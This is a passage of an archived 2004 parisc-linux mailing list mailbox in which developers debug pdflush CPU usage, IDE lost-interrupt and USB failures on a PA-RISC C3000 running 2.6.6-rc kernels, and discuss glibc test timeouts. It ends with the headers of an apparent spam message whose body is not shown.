wmcpuload showed 100% CPU usage, so I ran top and found
'pdflush' consuming all CPU ressources. The machine seemed to be running
fine (apart from no serial console, no /dev/hda access, no USB keyb/mouse),
and didn't seem to be slowed down despite pdflush burning all CPU cycles.
I pressed the power button, and the machine shut down properly (no HPMC
or similar).


So I guess the problem I experienced with -pa0 and -pa3 are somewhat
related (same symptoms), and I guess a HPMC would have resulted
if I just have waited long enough ...


Any ideas if this could be related to the recent changes in the cache
flush handling? Eg.
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-April/033981.html


Unfortunately I just switched to the 2.6 kernel (for permanent use) recently,
so I'm not know whether this error would have happened with a
pre-2.6.6-rc1 kernel aswell.
Well, I have tested some 2.6.x kernels before, and most definitely also
for longer than 10 hours without problems, but basically running without
any load and without X (since I just got my Voodoo2 graphics card two
weeks ago).

I doubt this problem is related to the Voodoo2, since I guess some other
people would with a Voodoo graphics card would have posted similar problem
reports to the list. Furthermore the graphics card did work fine during
the problems (the screen was updated fine, I just couldn't use X anymore).


Sorry for so little info (System.map and .config will be supplied if
requested, but they haven't changed much since my last posts).

I'm gonna try to post a 'ser pim' when the problem reappears again,
and after the machine had a HPMC. Maybe somebody has some hints what
commands I could use to provide you with some more info if the problem
appears again ...


Greetings,
  Max


From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Linux-2.6.6-rc1-pa3 and pdflush problems
Date: Tue, 27 Apr 2004 08:56:19 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <408D43600000047B@ocpmta1.freegates.net>
References: <Pine.LNX.4.58.0404270633310.31870@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623412 9033 80.91.229.3 (22 Nov 2014 02:30:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:12 +0000 (UTC)
To: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Tue Apr 27 00:56:37 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 124E9490D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 00:56:37 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BIMVw-0000qn-00; Tue, 27 Apr 2004 08:56:20 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 27 Apr 2004 08:56:19 +0200
In-Reply-To: <Pine.LNX.4.58.0404270633310.31870@sal.ucc.ie>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 06:56:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21537



> Unfortunately I just switched to the 2.6 kernel (for permanent use) recently,
> so I'm not know whether this error would have happened with a
> pre-2.6.6-rc1 kernel aswell.

uhm the http://cvs.parisc-linux.org/download/linux-2.6/patch-2.6.5-pa8.gz
patch could always help you to rebuild this previous 2.6.6 kernel from upstream
src ;)

hth,
   Joel

PS: on my b2k (the brother model of c3k) I am running a 2.6.6-rc1-pa0 for
an uptime of 11days without any major pb. (well always some small hung of
some minutes because of scsi bus reset from time to time but no major issue).
But I have no additional gfx, no ide hd (just a cdrom drive) and I only use
serial console (so I couldn't help you more)

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Linux-2.6.6-rc1-pa3 and pdflush problems
Date: Tue, 27 Apr 2004 08:01:14 +0100 (IST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404270758490.1486@sal.ucc.ie>
References: <408D43600000047B@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623413 9040 80.91.229.3 (22 Nov 2014 02:30:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: xam@cs.ucc.ie  Tue Apr 27 01:01:22 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AD5A4919
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 01:01:22 -0600 (MDT)
Original-Received: from sal.ucc.ie (tqpc.ucc.ie [143.239.201.88])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i3R71L0o003314;
	Tue, 27 Apr 2004 08:01:21 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <408D43600000047B@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 07:01:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21538

On Tue, 27 Apr 2004, Joel Soete wrote:

> > Unfortunately I just switched to the 2.6 kernel (for permanent use) recently,
> > so I'm not know whether this error would have happened with a
> > pre-2.6.6-rc1 kernel aswell.
>
> uhm the http://cvs.parisc-linux.org/download/linux-2.6/patch-2.6.5-pa8.gz
> patch could always help you to rebuild this previous 2.6.6 kernel from upstream
> src ;)

Thanks, I'll give it a try ...

> PS: on my b2k (the brother model of c3k) I am running a 2.6.6-rc1-pa0 for
> an uptime of 11days without any major pb. (well always some small hung of
> some minutes because of scsi bus reset from time to time but no major issue).
> But I have no additional gfx, no ide hd (just a cdrom drive) and I only use
> serial console (so I couldn't help you more)

BTW,
This time it didn't take several hours, but merely a couple of minutes;
what I did was starting several downloads (onto a ext3 on /dev/hda1),
and then opening up a couple of websites in konqueror (which in turn uses
the proxy that also access /dev/hda1)


Again pdflush was consuming 100%, but this time I waited about 5mins and
pdflush behaved normal again ... just to start again later and disappear
again ...

I still have see the following messages on the serial console:

hda: lost interrupt
hda: dma_timer_expiry: dma status == 0x64
hda: DMA interrupt recovery

and also the same symptoms as before (network is working normal, USB
keyboard/mouse don't work). If you respond fast what commands I should
run, I can give you more info ...


Thanks,
   Max


From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20RE=3A=20=5BPATCH=5D=20glibc=2D2=2E3=2E3=20error=20with=20debian=20unstable=09compiler=2E=2E=2E?=
Date: Tue, 27 Apr 2004 09:04:08 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <408D43600000049A@ocpmta1.freegates.net>
References: <20040421115522.GH28094@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623413 9043 80.91.229.3 (22 Nov 2014 02:30:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Apr 27 01:04:11 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C70C4925
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 01:04:11 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BIMdV-0002wc-00; Tue, 27 Apr 2004 09:04:09 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 27 Apr 2004 09:04:08 +0200
In-Reply-To: <20040421115522.GH28094@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 07:04:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21539


Hello Carlos,

Here is my weekly test: cvs 20040426.
Nothing new to mention: always well known errors collected after make -k
check. I just build a 2.6.6-_rc2_-pa2 (for the fun) without pb (which boot
fine on my b180)

Cheers,
    Joel

PS: 
> Yes, the default timeout is too short, add a TIMEOUTFACTOR of 5 or more.

This time I put TIMEOUTFACTOR=4 in the chroot root profile and seems to be
enough to bypass timeout errors :)


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Linux-2.6.6-rc1-pa3 and pdflush problems
Date: Tue, 27 Apr 2004 09:57:24 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <408D436000000590@ocpmta1.freegates.net>
References: <Pine.LNX.4.58.0404270758490.1486@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623413 9045 80.91.229.3 (22 Nov 2014 02:30:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: soete.joel@tiscali.be  Tue Apr 27 01:57:33 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id C97934829
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 01:57:32 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BINT2-0001oh-00; Tue, 27 Apr 2004 09:57:24 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 27 Apr 2004 09:57:24 +0200
In-Reply-To: <Pine.LNX.4.58.0404270758490.1486@sal.ucc.ie>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 07:57:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21540


> and also the same symptoms as before (network is working normal, USB
> keyboard/mouse don't work). If you respond fast what commands I should
> run, I can give you more info ...

hmm usb and ide seems to be on the same superio.

Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Linux-2.6.6-rc1-pa3 and Linux-2.6.6-rc2
Date: Tue, 27 Apr 2004 09:35:56 +0100 (IST)
Lines: 105
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404270915440.4406@sal.ucc.ie>
References: <408D436000000590@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623414 9053 80.91.229.3 (22 Nov 2014 02:30:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: xam@cs.ucc.ie  Tue Apr 27 02:36:04 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 037E948ED
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 02:36:04 -0600 (MDT)
Original-Received: from sal.ucc.ie (tqpc.ucc.ie [143.239.201.88])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i3R8a30o011068;
	Tue, 27 Apr 2004 09:36:03 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <408D436000000590@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 08:36:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21541

On Tue, 27 Apr 2004, Joel Soete wrote:

> > and also the same symptoms as before (network is working normal, USB
> > keyboard/mouse don't work). If you respond fast what commands I should
> > run, I can give you more info ...
>
> hmm usb and ide seems to be on the same superio.

Also something other interesting:

I killed squid and all other processes that are trying to access /dev/hda,
so the kernel messages 'hda: lost interrupt' stopped (mostly) for now.
Also pdflush doesn't consume any (significant) CPU time anymore.

The system is quite stable again, but still no access to the serial
console login prompt, nor the USB devices are working. BTW, a
/proc/bus/usb/devices results in the following kernel message:

usb 2-1: control timeout on ep0in

... and the process hangs.

Attaching the USB keyboard/mouse to my PCI USB2.0 card suddenly gives that
kernel output:

Badness in ohci_endpoint_disable at drivers/usb/host/ohci-hcd.c:355
Kernel addresses on the stack:
 [<10125b48>] printk+0x188/0x1c8
 [<101063b8>] dump_stack+0x18/0x24
 [<10267970>] ohci_endpoint_disable+0xd0/0x1a0
 [<10121f70>] __wake_up_common+0x60/0xa8
 [<10257cf4>] hcd_endpoint_disable+0x114/0x1b8
 [<10121fd8>] __wake_up+0x20/0x38
 [<102592c8>] usb_disable_endpoint+0x80/0x88
 [<102593d4>] usb_disable_device+0x94/0xb4
 [<102536c4>] usb_disconnect+0x90/0x140
 [<10255d54>] hub_port_connect_change+0x2dc/0x2e0
 [<1025604c>] hub_events+0x2f4/0x39c
 [<10256150>] hub_thread+0x5c/0x128
 [<1010bc5c>] ret_from_kernel_thread+0x1c/0x24


Another interesting thing is that I'm unable to kill -9 the X-Server.
Also I had some problems getting the Voodoo2 card working with custom
refresh rate settings; if I did specify a modeline in XF86Config-4
(generated with the fbset command), the machine would crash and print out
"bug in superio.c".
However if I use fbset after X has been started, it works perfectly.


Might be a Voodoo2 problem after all, who knows ...



And now for something completely different!



The Changelog to 2.6.6-rc2 contains the following:

=== snip ===

<dsaxena@plexity.net>
  [PATCH] PCI: Allow arch-specific pci_set_dma_mask and friends

  The patch provides the ability for architectures to have custom
  implementations of pci_set_dma_mask() and friends (dac_set_dma_mask
  and set_consistent_dma_mask). The reason I need this is b/c I have
  a chipset (Intel ARM IXP425) that has a broken PCI interface that
  only allows PCI dma to/from the bottom 64MB of system memory.  To get
  around this limitation, I trap a custom dma-mapping implementation that
  bounces buffers outside the 64MB window. At device discover time, my
  custom platform_notify() function gets called and it sets the dma_mask
  to (64MB-1) and in ARM's dma-mapping code, I check for dma_mask != 0xffffffff
  and if that is true, I call the special bounce helpers. This works great
  except that certain drivers (e100, ide-pci) call pci_set_dma_mask()
  with 0xffffffff and the generic implementation only allows for the
  architecture-defined pci_dma_supported() to return true or false. There
  is no method for the architecture to tell the PCI layer "I can't set
  the mask to 0xffffffff, but I can set it to this other value" and there
  is no way to pass that back to the driver. What this means is that if
  I have pci_set_dma_supported() return failure on full 32-bit DMA, the
  driver will not initialize the card; however, if I return true,
  pci_set_dma_mask() will set the dma mask to full 32-bits and I can no
  longer trap and will have buffers that are not dma-able and cause
  PCI master aborts.  Both of those are not acceptable.  IMHO, the
  driver shouldn't care if the architecture has to bounce DMA outside of
  64MB and since this is not something most architectures have to worry
  about, the easiest way to get around the issue is by allowing custom
  pci_set_dma_mask() for arches that need it but keeping the generic
  implementation for those that do not.  In my case, it simply returns
  0 to the driver but keeps the device mask set to 64MB-1 so I can trap.
=== snap ===

Since I still have problems to get onboard IDE DMA correctly working on my
C3000 (kernel and hdparm both say enabled, but just 3MB/s transfer rate
instead of >40 MB/s), and since any other PCI IDE card complains about
lost interrupts (on 2.6) or also behave like the onboard IDE (on 2.4),
I thought maybe this is related to the issue



Thanks for your help,
   Max


From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Linux-2.6.6-rc1-pa3 and Linux-2.6.6-rc2
Date: Tue, 27 Apr 2004 11:29:43 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <408D43600000070F@ocpmta1.freegates.net>
References: <Pine.LNX.4.58.0404270915440.4406@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623414 9054 80.91.229.3 (22 Nov 2014 02:30:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: soete.joel@tiscali.be  Tue Apr 27 03:30:07 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 413A64838
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 03:30:07 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BIOuO-0003Xu-00; Tue, 27 Apr 2004 11:29:44 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 27 Apr 2004 11:29:43 +0200
In-Reply-To: <Pine.LNX.4.58.0404270915440.4406@sal.ucc.ie>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 09:30:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21542


> The Changelog to 2.6.6-rc2 contains the following:

Well, I don't know about Matthew merge project but yesterday I apply the
upstream patch-2.6.6-rc1-rc2 (http://www.kernel.org/pub/linux/kernel/v2.6/testing/incr/patch-2.6.6-rc1-rc2.bz2)
against our pa tree and it is quiet straighforward (just have to redo by
hand the hunk related to arch/parisc/kernel/cache.c, very short and easy).

I boot it with success on my b180 :) (not yet on my b2k :( ) but I trust
you could try it also?

That said, knowing that my serial console works fine, there are two additional
hw pieces that you can try to remove one by one to locate accurately the
pb, though I don't have usb kbd/mouse to test)

hth,
    Joel




----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [PATCH] glibc-2.3.3 error with debian
	unstable	compiler...
Date: Tue, 27 Apr 2004 10:57:41 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20040427145741.GD14937@baldric.uwo.ca>
References: <20040421115522.GH28094@baldric.uwo.ca>
	<408D43600000049A@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623414 9058 80.91.229.3 (22 Nov 2014 02:30:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Tue Apr 27 08:58:46 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0EDA4829
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 08:58:46 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BIU1m-0001Hh-00; Tue, 27 Apr 2004 10:57:42 -0400
Content-Disposition: inline
In-Reply-To: <408D43600000049A@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (85% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 14:58:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21543

> Here is my weekly test: cvs 20040426.
> Nothing new to mention: always well known errors collected after make -k
> check. I just build a 2.6.6-_rc2_-pa2 (for the fun) without pb (which boot
> fine on my b180)

You aren't seeing a failure in tst-timer4?
Can you verify this by running tst-timer4 by hand and sending the output
ot the list?

c.



From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <kokke_23@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] AWARD  WINNING  NOTIFICATION
Date: Tue, 27 Apr 2004 17:56:43 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <BAY7-DAV45SQeSOzNCW0002039b@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0003_01C42C81.003CBB80"
X-Trace: ger.gmane.org 1416623415 9062 80.91.229.3 (22 Nov 2014 02:30:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:15 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: kokke_23@hotmail.com  Tue Apr 27 10:02:10 2004
Return-Path: <kokke_23@hotmail.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (bay7-dav45.bay7.hotmail.com [64.4.10.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id C63CD4829
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 10:02:10 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	Tue, 27 Apr 2004 09:00:21 -0700
Original-Received: from 213.37.136.117 by bay7-dav45.bay7.hotmail.com with DAV;
	Tue, 27 Apr 2004 16:00:21 +0000
X-Originating-IP: [213.37.136.117]
X-Originating-Email: [kokke_23@hotmail.com]
X-Sender: kokke_23@hotmail.com
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-OriginalArrivalTime: 27 Apr 2004 16:00:21.0050 (UTC)
	FILETIME=[BE1939A0:01C42C70]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
